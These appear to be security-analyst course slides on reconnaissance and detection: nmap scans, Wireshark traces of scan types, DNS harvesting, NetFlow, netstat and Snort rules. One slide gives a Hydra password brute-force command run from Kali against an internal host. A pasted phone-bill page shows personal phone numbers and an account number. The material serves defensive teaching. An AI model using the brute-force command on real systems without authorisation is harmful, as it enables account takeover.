- **Nbtstat -a 192.168.12.1**
- **Getmac**
- **Arp**
- **Ifconfig**



The image shows a Windows Command Prompt window titled "Administrator: Command Prompt". The window is running on a Windows operating system. The command "getmac /v" is entered at the prompt, and the results are displayed. The results show a table with columns: Connection Name, Network Adapter, Physical Address, and Transport Name. There is one entry for the Local Area Connection, which is an Intel(R) PRO/1000 MT Desktop adapter with the physical address 00-0C-29-6B-E0-6B. The transport name is \Device\Tcpip\_{EA42FDDC-A3B7-4D97-9C7F-035046101A08}.

Connection Name	Network Adapter	Physical Address	Transport Name
Local Area Conn	Intel(R) PRO/1000 MT Desktop	00-0C-29-6B-E0-6B	\Device\Tcpip_{EA42FDDC-A3B7-4D97-9C7F-035046101A08}

# Common Ports Cheat Sheet

21 = FTP	110 = POP3	1521/TCP =
22/TCP = SSH/FTPS	119/TCP = NNTP	1720 = H.323
23/TCP = Telnet	123 = NTP	2427/2727 = MGCP
25/TCP = SMTP	143/TCP = IMAP	3389 = RDP
49 = TACACTS	161/UDP = SNMP Agent	5004 = RTP
53 TCP/UDP = DNS	162/UDP = SNMP Management	5005 = RTCP
UDP 67 = DHCP / BOOTP	389 = LDAP	5060 = SIP
69 UDP = TFTP	443/TCP = HTTPS	5061 = SIP with TLS
80/TCP = HTTP	445/TCP = SMB	1812/1813 = RADIUS
88 = Kerberos		137/138/139 = NetBIOS

0 -1023 = Well Known / System ports

1024 – 49151 = User ports / registered

# Know Protocol Security and Scanning

- HTTP (80) / Telnet (23) / FTP (21) = unencrypted
- HTTPS (443) / SSH (22) / RDP (3389) = encrypted

May be asked which to use or not use!

- NMAP –sV = Service Version Detection
- NMAP –o = OS Detection

# Techniques for OS Fingerprinting

- IP TTL values;
- IP ID values;
- TCP Window size;
- TCP Options (generally, in TCP SYN and SYN+ACK packets);
- DHCP requests;
- ICMP requests;
- HTTP packets (generally, User-Agent field)
- Other techniques are based on analyzing;
- Running services;
- Open port patterns

File Edit View Search Terminal Help

root@kali:~# nmap -A localhost

```
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-03-19 19:51 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000037s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 999 closed ports
PORT      STATE SERVICE VERSION
80/tcp      open  http    Greenbone Security Assistant
|_http-title: Did not follow redirect to https://localhost:9392/login/login.html
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.8 - 4.5
Network Distance: 0 hops
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds

root@kali:~#

```
Nmap 5.00
# nmap -A -T4 scanme.nmap.org 207.68.200.30

Starting Nmap 5.00 ( http://nmap.org ) at 2009-07-13 16:22 PDT
Interesting ports on scanme.nmap.org (64.13.134.52):
Not shown: 994 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh    OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 1024 03:5f:d3:9d:95:74:8a:d0:8d:70:17:9a:bf:93:84:13 (DSA)
|_ 2048 fa:af:76:4c:b0:f4:4b:83:a4:6e:70:9f:a1:ec:51:0c (RSA)
53/tcp    open  domain ISC BIND 9.3.4
70/tcp    closed gopher
80/tcp    open  http   Apache httpd 2.2.2 ((Fedora))
|_ html-title: Go ahead and ScanMe!
113/tcp   closed auth
31337/tcp closed Elite
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.20-1 (Fedora Core 5)

Interesting ports on 207.68.200.30:
Not shown: 991 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Microsoft DNS 6.0.6001
88/tcp    open  kerberos-sec Microsoft Windows kerberos-sec
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn 
389/tcp   open  ldap        
445/tcp   open  microsoft-ds Microsoft Windows 2003 microsoft-ds
464/tcp   open  kpasswd5? 
49158/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
49175/tcp open  msrpc       Microsoft Windows RPC
Running: Microsoft Windows 2008|Vista

Host script results:
| smb-os-discovery: Windows Server (R) 2008 Enterprise 6001 Service Pack 1
| LAN Manager: Windows Server (R) 2008 Enterprise 6.0
| Name: MSAPPLELAB\APPLELAB2K8
|_ System time: 2009-07-13 16:17:07 UTC-7
| nbstat: NetBIOS name: APPLELAB2K8, NetBIOS user: <unknown>, NetBIOS MAC: 00:1a:a0:9a:a3:96
| Name: APPLELAB2K8<00>      Flags: <unique><active>
|_ Name: MSAPPLELAB<00>      Flags: <group><active>

TRACEROUTE (using port 135/tcp)
HOP RTT    ADDRESS
[cut first 8 lines for brevity]
9  36.88  ge-10-0.hsa1.Seattle1.Level3.net (4.68.105.6)
10 36.61  unknown.Level3.net (209.245.176.2)
11 41.21  207.68.200.30

Nmap done: 2 IP addresses (2 hosts up) scanned in 120.26 seconds
# (Note: some output was modified to fit results on screen)
```

# NMAP Services Version Example

# Port Scanning

- Attackers will typically scan an environment that they have breached
- You should be monitoring for recon activity within your environment

Wireshark and logs will show lots of SYN with SYN, ACK if port is open



Kali – Scan with nmap

192.168.221.135	TCP	58 57521 → 911 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57562 → 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57522 → 911 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57520 → 8099 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57521 → 8099 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57522 → 8099 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57520 → 8022 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57521 → 8022 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57522 → 8022 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57520 → 65129 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57521 → 65129 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57522 → 65129 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
192.168.221.135	TCP	58 57520 → 5544 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

Example wireshark filters

tcp.flags.syn && tcp.flags.ack==0

tcp.flags.syn==1 && tcp.flags.ack==1

tcp.flags.reset && tcp.flags.ack



Pearson

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# Other Port Scans

- Check logs for unusual scanning
- Tune monitoring based on sensitivity – Example non-admin machine scanning

## Null scan

```
TCP 54 64272 → 2045 [<None>] Seq=1 Win=1024 Len=0  
TCP 54 64272 → 465 [<None>] Seq=1 Win=1024 Len=0  
TCP 54 64272 → 646 [<None>] Seq=1 Win=1024 Len=0  
TCP 54 64272 → 13722 [<None>] Seq=1 Win=1024 Len=0  
TCP 54 64272 → 8093 [<None>] Seq=1 Win=1024 Len=0  
TCP 54 64272 → 1044 [<None>] Seq=1 Win=1024 Len=0  
TCP 54 64272 → 2910 [<None>] Seq=1 Win=1024 Len=0  
TCP 54 64272 → 6600 [<None>] Seq=1 Win=1024 Len=0
```


## FIN scan

```
TCP 54 41013 → 10024 [FIN] Seq=1 Win=1024 Len=0  
TCP 54 41013 → 1059 [FIN] Seq=1 Win=1024 Len=0  
TCP 54 41012 → 5666 [FIN] Seq=1 Win=1024 Len=0  
TCP 54 41012 → 2105 [FIN] Seq=1 Win=1024 Len=0  
TCP 54 41012 → 49153 [FIN] Seq=1 Win=1024 Len=0  
TCP 54 41012 → 3351 [FIN] Seq=1 Win=1024 Len=0
```

## Xmas scan

```
TCP 54 56388 → 311 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0  
TCP 54 56388 → 125 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0  
TCP 54 56388 → 1035 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0  
TCP 54 56388 → 1099 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0  
TCP 54 56388 → 32774 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0  
TCP 54 56388 → 6002 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0  
TCP 54 56388 → 1218 [FIN, PSH, URG] Seq=1 Win=1024 Urg=0 Len=0
```

# Zenmap – Pretty NMAP




# Data Analysis Methods

- **Anomaly Analysis** – Differences in established patterns ie you must know what is “normal”. Example Netflow baseline
- **Trend Analysis** – Predicting behaviors such as network congestion. Typically not security related
- **Signature Analysis** – Detecting known events (antivirus / IPS)
- **Heuristic or Behavior** – Detecting malicious behavior (port scanning)

# Wireless Analysis Techniques

## Requires Capturing Packets

- Must use network card that supports promiscuous mode
- To capture live packets, Man-in-the-Middle attacks may need to be performed
- Breaking passwords requires complex dictionary attacks or brute force attacks which can take time



# Wireless Analysis Techniques

802.11 Protocol	Frequency GHZ	Bandwidth HMz
<b>802.11</b>	<b>2.4</b>	<b>22</b>
A	5 / 3.7	20
B	2.4	22
G	2.4	20
N	2.4 / 5	20 / 40
AC	5	20/40/80/160

- **Email Harvesting** - Gathering email addresses
- **DNS Harvesting** - Gathering public, published DNS and server names.
- **Phishing Techniques** – Used After Email and DNS



# DNS Harvesting

- Domain Name System is public information
- [www.thesecurityblogger.com](http://www.thesecurityblogger.com) = 104.28.11.128
- Whois command display details

```
[JOMUNIZ-M-91SU:~ jomuniz$ nslookup www.thesecurityblogger.com
Server:      64.102.6.247
Address:     64.102.6.247#53
```

```
Non-authoritative answer:
Name:  www.thesecurityblogger.com
Address: 104.28.11.128
Name:  www.thesecurityblogger.com
Address: 104.28.10.128
```

```
** server can't find 128.10.28.104.in-addr.arpa: SERVFAIL
[JOMUNIZ-M-91SU:~ jomuniz$ nslookup 64.102.6.247
Server:      64.102.6.247
Address:     64.102.6.247#53
247.6.102.64.in-addr.arpa      name = dns-rtp.cisco.com.
[JOMUNIZ-M-91SU:~ jomuniz$ ]
```

# DNS Zone Transfers

- Used to replicate DNS information between DNS servers
- Attackers can use these to gather information about the DNS environment
- DNSSEC is a suite of DNS security specifications that is slowing becoming a standard
- Zone transfers should only be permitted to specific peers

Know Zone Transfers are a popular target for attackers

# Anti-DNS Harvesting Techniques

- Blacklisting networks / Reputation Security
- Rate Limiting
- CAPTCHAs
- Anything preventing lots of searching

# Traceroute

```
traceroute: Warning: www.thesecurityblogger.com has multiple addresses; using 104.28.11.128
traceroute to www.thesecurityblogger.com (104.28.11.128), 64 hops max, 52 byte packets
  1 rtp1-access-gw1-vla160.cisco.com (10.83.255.126)  37.818 ms  21.724 ms  38.794 ms
  2 rtp1-mdal-sbb-gw1-ten2-8.cisco.com (64.100.241.249)  20.816 ms  20.847 ms  22.359 ms
  3 rtp5-rbb-gw1-ten1-5.cisco.com (64.102.235.45)  23.680 ms  23.161 ms  21.249 ms
  4 rtp1-mdal-corp-gw1-ten1-3-0.cisco.com (10.81.254.194)  25.082 ms  20.957 ms  19.962 ms
  5 rtp5-dmzbb-gw1-vla777.cisco.com (64.102.241.140)  22.666 ms  38.358 ms  25.612 ms
  6 rtp10-cd-isp-gw1-ten0-0-0.cisco.com (64.102.254.229)  20.839 ms  22.270 ms  21.268 ms
  7 12.249.161.13 (12.249.161.13)  31.343 ms  21.715 ms  28.064 ms
  8 cr2.rlgnc.ip.att.net (12.123.138.162)  34.035 ms  35.699 ms  36.786 ms
  9 12.122.2.190 (12.122.2.190)  34.933 ms  33.527 ms  36.499 ms
 10 gar18.wswdc.ip.att.net (12.122.113.37)  36.123 ms  38.359 ms  33.795 ms
 11 192.205.37.54 (192.205.37.54)  32.277 ms  33.678 ms  36.666 ms
 12 131.103.117.34 (131.103.117.34)  38.504 ms  31.963 ms  32.767 ms
 13 104.28.11.128 (104.28.11.128)  36.375 ms  34.134 ms  33.488 ms
JOMUNIZ-M-91SU:~ jomuniz$
```



# Zone Transfer

Intended for DNS replication

Search using Host or DIG

Investigate what you find

```
; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40158
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 6, ADDITIONAL: 7

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.cisco.com.          IN      A

;; ANSWER SECTION:
www.cisco.com.      5       IN      CNAME   origin-www.cisco.com.
origin-www.cisco.com. 5       IN      A       173.37.145.84

;; AUTHORITY SECTION:
origin-www.cisco.com. 1800    IN      NS      rcdn9-14p-dcz05n-gss1.cisco.com.
origin-www.cisco.com. 1800    IN      NS      rtp5-dmz-gss1.cisco.com.
origin-www.cisco.com. 1800    IN      NS      aer01-r4c25-dcz01n-gss1.cisco.com.
origin-www.cisco.com. 1800    IN      NS      mtv5-ap10-dcz06n-gss1.cisco.com.
origin-www.cisco.com. 1800    IN      NS      alln01-ag09-dcz03n-gss1.cisco.com.
origin-www.cisco.com. 1800    IN      NS      sngdc01-ab07-dcz01n-gss1.cisco.com.

;; ADDITIONAL SECTION:
rtp5-dmz-gss1.cisco.com. 1800    IN      A      64.102.246.5
mtv5-ap10-dcz06n-gss1.cisco.com. 1800    IN      A      173.36.224.100
rcdn9-14p-dcz05n-gss1.cisco.com. 1800    IN      A      72.163.4.28
aer01-r4c25-dcz01n-gss1.cisco.com. 1800    IN      A      173.38.212.108
alln01-ag09-dcz03n-gss1.cisco.com. 1800    IN      A      173.37.144.100
sngdc01-ab07-dcz01n-gss1.cisco.com. 1800    IN      A      173.39.112.68

;; Query time: 47 msec
;; SERVER: 64.102.6.247#53(64.102.6.247)
;; WHEN: Sat Dec 23 21:18:02 EST 2017
;; MSG SIZE rcvd: 394
```

# Whois

Search databases of registered users of domains and IP address blocks.

Also can see details about the organization or people based on what they put for the registry data

```
[JOMUNIZ-M-91SU:~ jomuniz$ whois www.google.com
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object
```

```
refer:      whois.verisign-grs.com
```

```
domain:     COM
```

```
organisation: VeriSign Global Registry Services
```

```
address:    12061 Bluemont Way
```

```
address:    Reston Virginia 20190
```

```
address:    United States
```

```
contact:    administrative
```

```
name:       Registry Customer Service
```

```
organisation: VeriSign Global Registry Services
```

```
address:    12061 Bluemont Way
```

```
address:    Reston Virginia 20190
```

```
address:    United States
```

```
phone:      +1 703 925-6999
```

```
fax-no:     +1 703 948 3978
```

```
e-mail:    info@verisign-grs.com
```

```
contact:    technical
```

```
name:       Registry Customer Service
```

```
organisation: VeriSign Global Registry Services
```

```
address:    12061 Bluemont Way
```

```
address:    Reston Virginia 20190
```

```
address:    United States
```

```
phone:      +1 703 925-6999
```

```
fax-no:     +1 703 948 3978
```

```
e-mail:    info@verisign-grs.com
```

# EDGAR and RIR

- ICANN – <https://www.icann.org/>
- EDGAR – Public company records
- Regional Internet Registries (RIR)
  - USA – [www.arin.net/index.html](http://www.arin.net/index.html)
  - Asia Pacific – <http://apnic.net/>
  - Europe – <http://www.ripe.net>
  - Latin America - <http://www.lacnic.net>
  - African - <https://www.afrinic.net/en/about/service-region>

The screenshot shows the SEC's EDGAR Search Results page. At the top is the SEC logo. Below it, the title "EDGAR Search Results" is displayed. Underneath, there is a breadcrumb navigation: "SEC Home" > "Search the Next-Generation EDGAR System" > "Company Search" > "Current Page". A sub-header "Companies with names matching 'CISCO'" with a link "Click on CSE to view company filings" is present. A table titled "Items 1-5" lists five entries:

CSE	Company
0001705493	CISCO BAY INC.
0001532564	CISCO SYSTEMS (SWITZERLAND) INVESTMENTS LTD
0001316387	Cisco Systems Capital CORP
0000858877	CISCO SYSTEMS, INC.

Below the table, a note says "SEC NOTE: FORWARD-LOOKING INFORMATION ENVIRONMENT".



# Point in Time Analyst



# Security Event Indicators NIST 800-61


- **Alerts:** Alarms coming from security tools such as IPS and AV.
- **Logs:** Document containing various types of alerts.
- **Publicly available vulnerability data.**
- **People:** The trained eyes that flag an incident.

# Point-in-time Data Analysis

Static investigations = Data frozen in time

Types of Point-in-time data analysis

- *Packet Captures*
- *Configurations*
- *Memory Analysis*
- *Drive Captures*



# Common Historical Data

## PCAP – Logging network data

- Example: Listening to phone calls
- More storage / More details

## NetFlow – Logging network records

- Example: Looking at details of phone call
- Less storage / Less details

# Capturing and Analyzing Traffic

- **Wireshark** – Capture Realtime or view pcap files
- **TCPdump / Windump** – Dump data to file
- **Snort** – Intrusion detection / prevention
- **NG Firewall / IPS** – Intrusion detection / prevention
- **NetFlow Analyzer** – Baseline and look for anomalies

Deploy as **Network Tap / SPAN port** or **Inline**

# Traffic and NetFlow Analysis

Network protocol for collecting IP traffic information and monitoring network traffic.

Other vendors – Juniper's Jflow, Citrix AppFlow, HP Netstream


## Benefits of NetFlow for security

- Malware analysis
- Baselines
- Existing hardware
- Low storage requirements
- Easy to deploy across large networks



# NetFlow = Visibility

A single NetFlow Record provides a wealth of information



# NetFlow and Packet Capture

## NetFlow – Traffic records

- Source / destination, class of service, cause of congestion, etc.
- NetFlow version 9 is the latest / sFlow is not the same
- Devices export flow to a collector
- Less storage and quicker search

## Package Capture – Live traffic

- Capture all traffic
- More details
- More storage and more search
- Sometimes required



# NetFlow vs Packet Capturing



Page: 259 of 849  
Billing Cycle Date: 09/12/11 - 10/11/11  
Account Number: 828074228  
Foundation Account Number: 00076469

## Data Detail (Continued)

479-387-2554

User Name: UNIVERSITY OF ARKANSAS FAYETTEVILLE

Rate Code: MSGU=Messaging Unlimited, IPGB=4GB Data\_Tethering

Rate Period (PD): AT=Anytime

Feature: SMH=IMB SMS \$0.00, MMH=IMB MMS \$0.00, MBRA=GPRS MB Dom \$10.00/1GB APN002/APN003/APN004

Item	Day	Date	Time	To/From	Type	Msg/KB/Min	Rate Code	Rate Pd	Feature	In/Out	Total Charge
54	09/12	3:58PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
55	09/12	3:58PM	479-236-9780		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
56	09/12	4:01PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
57	09/12	4:09PM	479-236-9780		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
58	09/12	4:11PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	Out	0.00
59	09/12	4:12PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
60	09/12	4:21PM	479-236-9780		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
61	09/12	4:28PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	Out	0.00
62	09/12	4:29PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
63	09/12	4:29PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	Out	0.00
64	09/12	4:30PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
65	09/12	4:32PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	Out	0.00
66	09/12	4:32PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
67	09/12	4:45PM	479-236-9780		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
68	09/12	4:51PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	Out	0.00
69	09/12	4:58PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
70	09/12	4:57PM	479-236-9780		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
71	09/12	4:58PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	Out	0.00
72	09/12	4:59PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
73	09/12	4:59PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
74	09/12	5:01PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	Out	0.00
75	09/12	5:01PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00
76	09/12	5:03PM	479-856-9535		MTM TEXT MESSAG	1 Msg	MSGU	AT	SMH	In	0.00



# RMON

- Monitor local area networks that operate at layers 1-4
- Uses a client/server approach leveraging probes to collect data
- Deployed as a MIB (management information base)
- Collects alarms, events, history and statics

# TCP Dump

- Command line packet analyzer
- Display TCP/IP and other packets being transmitted or received over networks
- Must have access to data (common - tap)

Command Prompt - tcpdump -i 1 -n

```
11:18:11.109375 IP 66.36.244.33.110 > 101.100.100.5.3330: . ack 48 win 1747
4
11:18:11.109375 IP 66.36.244.33.110 > 101.100.100.5.3330: F 167:167<0> ack
48 win 17474
11:18:11.109375 IP 101.100.100.5.3330 > 66.36.244.33.110: . ack 168 win 640
74
11:18:11.109375 IP 66.36.244.33.110 > 101.100.100.5.3329: P 128:167<39> ack
35 win 17486
11:18:11.109375 IP 101.100.100.5.3331 > 66.36.244.33.110: F 46:46<0> ack 16
7 win 64074
11:18:11.109375 IP 66.36.244.33.110 > 101.100.100.5.3331: . ack 47 win 1747
5
11:18:11.109375 IP 66.36.244.33.110 > 101.100.100.5.3331: F 167:167<0> ack
47 win 17475
11:18:11.109375 IP 101.100.100.5.3331 > 66.36.244.33.110: . ack 168 win 640
74
11:18:11.109375 IP 101.100.100.5.3329 > 66.36.244.33.110: F 35:35<0> ack 16
7 win 64074
11:18:11.109375 IP 66.36.244.33.110 > 101.100.100.5.3329: F 167:167<0> ack
35 win 17486
11:18:11.109375 IP 101.100.100.5.3329 > 66.36.244.33.110: . ack 168 win 640
74
11:18:11.109375 IP 66.36.244.33.110 > 101.100.100.5.3329: . ack 36 win 1748
6
11:18:11.453125 IP 101.100.100.5.1040 > 217.132.227.16.64187: UDP, length 5
3
11:18:11.609375 IP 217.132.227.16.64187 > 101.100.100.5.1040: UDP, length 3
83
11:18:11.609375 IP 101.100.100.5.1040 > 147.47.253.59.54215: UDP, length 13
8
11:18:12.000000 IP 147.47.253.59.54215 > 101.100.100.5.1040: UDP, length 21
11:18:21.453125 IP 101.100.100.5.1040 > 128.218.185.150.18655: UDP, length
129
```

# Netstat

- Gather local host network information and machine behavior
- Windows, MAC, Linux

All Connections = -a

```
C:\Documents and Settings\Owner>netstat -an
Active Connections


Proto Local Address          Foreign Address        State
TCP   0.0.0.0:135            0.0.0.0:0           LISTENING
TCP   0.0.0.0:445            0.0.0.0:0           LISTENING
TCP   127.0.0.1:1027          0.0.0.0:0           LISTENING
TCP   192.168.1.100:139       0.0.0.0:0           LISTENING
TCP   192.168.1.100:2558      207.68.172.236:80  CLOSE_WAIT
TCP   192.168.1.100:2916      204.14.90.25:21    CLOSE_WAIT
TCP   192.168.1.100:2923      69.65.109.55:80    TIME_WAIT
TCP   192.168.1.100:2924      204.245.162.25:80  ESTABLISHED
TCP   192.168.1.100:2925      66.150.96.119:80   ESTABLISHED
TCP   192.168.1.100:2930      204.245.162.27:80  ESTABLISHED
UDP   0.0.0.0:445             :::*
UDP   0.0.0.0:500             :::*
UDP   0.0.0.0:1030            :::*
UDP   0.0.0.0:1040            :::*
UDP   0.0.0.0:1155            :::*
UDP   0.0.0.0:1175            :::*
UDP   0.0.0.0:4500            :::*
UDP   127.0.0.1:123           :::*
UDP   127.0.0.1:1036          :::*
UDP   127.0.0.1:1900          :::*
UDP   127.0.0.1:2922          :::*
UDP   192.168.1.100:123       :::*
UDP   192.168.1.100:137       :::*
UDP   192.168.1.100:138       :::*
UDP   192.168.1.100:1900       :::*
```

TCP Routing = -nr

Routing tables						
Internet:						
Destination	Gateway	Flags	Refs	Use	Netif	Expire
default	10.82.233.26	UGSc	100	0	utun2	
default	192.168.128.1	UGSci	2	0	en0	
10.82.233.26/32	link#13	UCS	2	0	utun2	
10.82.233.26	link#13	UHWIir	28	6	utun2	
64.102.252.11/32	192.168.128.1	UGSc	1	0	en0	
127	127.0.0.1	UCS	0	0	lo0	
127.0.0.1	127.0.0.1	UH	22	4480203	lo0	
192.168.128	link#13	UCS	0	0	utun2	
192.168.128.1	e0:55:3d:6e:6f:64	UHLSr	4	16	en0	
192.168.128.3/32	link#7	UCS	0	0	en0	
224.0.0/4	link#13	UmCS	1	0	utun2	
224.0.0/4	link#7	UmCSI	2	0	en0	
224.0.0.251	1:0:5e:0:0:fb	UHmlWI	0	0	en0	
239.255.255.250	1:0:5e:7f:ff:fa	UHmlWI	0	476	en0	
239.255.255.250	link#13	UHmW3I	0	3	utun2	
255.255.255.255/32	link#13	UCS	0	0	utun2	


# Anomaly, Trend, and Behavioral Analysis Techniques

- Credit card companies calls when you have unusual spending.
  - This is an example of behavioral analysis.
- Behavioral and Anomaly analysis determines what's normal and flags unusual activity.
- Behavioral tools need to establish a baseline.



# Examining Virtual Environments

- Physical and virtual environments have common elements  
----- (IP addresses, services, and traffic paths)
- VM-to-VM traffic = Must examine traffic from the hypervisor**
- Popular virtual solutions are virtual firewalls and Netflow



# Internal, External, On-Premise, and Cloud Connections

- Cloud connections may require permission from cloud provider
- Cloud security from other tenants could affect your security
- External connections may be blocked from auditor's network or ISP
- Internal reconnaissance is “white box” or credential authorized

Credential scans allow the collection for the most information in the quickest amount of time

# Snort – Detect Port Scans

- IPS and Internal monitoring detects recon activity
- Snort rule (pre processor rule in snort.conf)
  - Preprocessor sfportscan: proto {all} sense\_level {high} logfile {LOCATION}


```
Time: 11/27-17:26:20.016728
event_ref: 0
192.168.221.128 -> 192.168.221.132 (portscan) TCP Filtered Portscan
Priority Count: 0
Connection Count: 200
IP Count: 1
Scanner IP Range: 192.168.221.128:192.168.221.128
Port/Proto Count: 199
Port/Proto Range: 21:49161
```

Most enterprise security solutions would detect this with default security rules

# Hunting Password Attacks

- Attackers attempt to access systems using automated cracking tools
- Many tools automate identifying this

## Show Me – Kali - Attack Example



Hydra –L <user list file> -P <password list file> <location> <service>

Hydra –l <specific user name> -p <specific password> <location> <service>

```
hydra -l admin -P /root/Desktop/passwordlist.txt -e nsr -t 16 192.168.2...
```



\*Hydra uses many protocols  
SSH, Telnet, TFTP, FTP, etc.



# Hunting Password Attacks - Wireshark

Lots of user logins over FTP

Request: USER joey	FTP: Request: USER joey
Request: USER joey	FTP: Request: USER joey
Request: USER joey	FTP: Request: USER joey
Request: USER joey	FTP: Request: USER joey
Request: USER joey	FTP: Request: USER joey
Request: USER joey	FTP: Request: USER joey

Password list usage

Request: PASS 1234567	FTP: Request: PASS 1234567
Request: PASS 1	FTP: Request: PASS 1
Request: PASS joey	FTP: Request: PASS joey
Request: PASS cisco123	FTP: Request: PASS cisco123
Request: PASS password	FTP: Request: PASS password
Request: PASS 123	FTP: Request: PASS 123
Request: PASS admin	FTP: Request: PASS admin
Request: PASS --	FTP: Request: PASS --
Request: PASS 12345678	FTP: Request: PASS 12345678
Request: PASS 123456	FTP: Request: PASS 123456

Filter [ftp.response.code](#)

Filter ftp contains “admin” or “PASS” or “12345”

Filter 530=failed access

100 Response: 530 Login or password incorrect!  
100 Response: 530 Login or password incorrect!  
100 Response: 530 Login or password incorrect!  
100 Response: 530 Login or password incorrect!

Filter 230=success access

Protocol Length Info  
FTP 81 Response: 230 Logged on

Many security tools such as IPS can look for this

# Snort – Detect Bad Login

- IPS and Internal monitoring detects multi login
- Snort rule
  - Alert tcp any 21 -> any any (msg:"FTP Bad login!"; content:"530"; nocase; sid 10001)

```
[**] [1:492:6] FTP Bad Login Alarm! [**]
[Priority: 0]
11/27-12:35:09.400084 00:0C:29:75:A1:43 -> 00:0C:29:C4:49:2D type:0x800 len:0x64
192.168.221.141:21 -> 192.168.221.128:36562 TCP TTL:128 TOS:0x0 ID:16913 IpLen:20 DgmLen:86 DF
***AP*** Seq: 0x3043D64D Ack: 0xCF9553BD Win: 0x104 TcpLen: 32
TCP Options (3) => NOP NOP TS: 4316725 4292406

[**] [1:492:6] FTP Bad Login Alarm! [**]
[Priority: 0]
11/27-12:35:12.441311 00:0C:29:75:A1:43 -> 00:0C:29:C4:49:2D type:0x800 len:0x64
192.168.221.141:21 -> 192.168.221.128:36588 TCP TTL:128 TOS:0x0 ID:16919 IpLen:20 DgmLen:86 DF
***AP*** Seq: 0x13AE9BCD Ack: 0x3157E76F Win: 0x104 TcpLen: 32
TCP Options (3) => NOP NOP TS: 4317029 4293167
```

Most enterprise security solutions would detect this with default security rules


# Host Investigations

- System resources – Process monitor, Memory monitoring, memory leaks
- Drive capacity monitoring
- System resource monitoring
- Unauthorized access, changes, and privileges
- Resource exhaustion
- Malicious software installed
- Privilege abuse

# Collecting Linux / MacOS Data with System Access

## System Resources

- Top – top processes
- atop (apt-get this)
- htop (apt-get this)
- Ps – running processes
- Perfmon – host controllers, memory usage
- Pstree
- Df – disk space



# Data Correlation and Analytics

- Data correlation can be manual or automatic
- Automatic correlation is based on use cases or past success





# Logs



# Logs

- Track security or system related information
- Need to be filtered to make them useful
- Sometimes requirements for storage
- Different formats available

**Many security failures caused by not viewing logs**

# Syslog

- Client / Server protocol for log messages
- Message in clear text
- Custom parsing needed if protocol not used

Syslogd, syslog daemon or syslog server

# Network Timing Matters

- Synchronize time source
- NTP – Standard protocol for time
- Public example – [www.nist.gov](http://www.nist.gov)
- DHCP Logs
  - ID, Data, Time, Description, IP, Host, MAC

# System Logs

## Operating System Logs

- Great for identifying or investigating suspicious activities

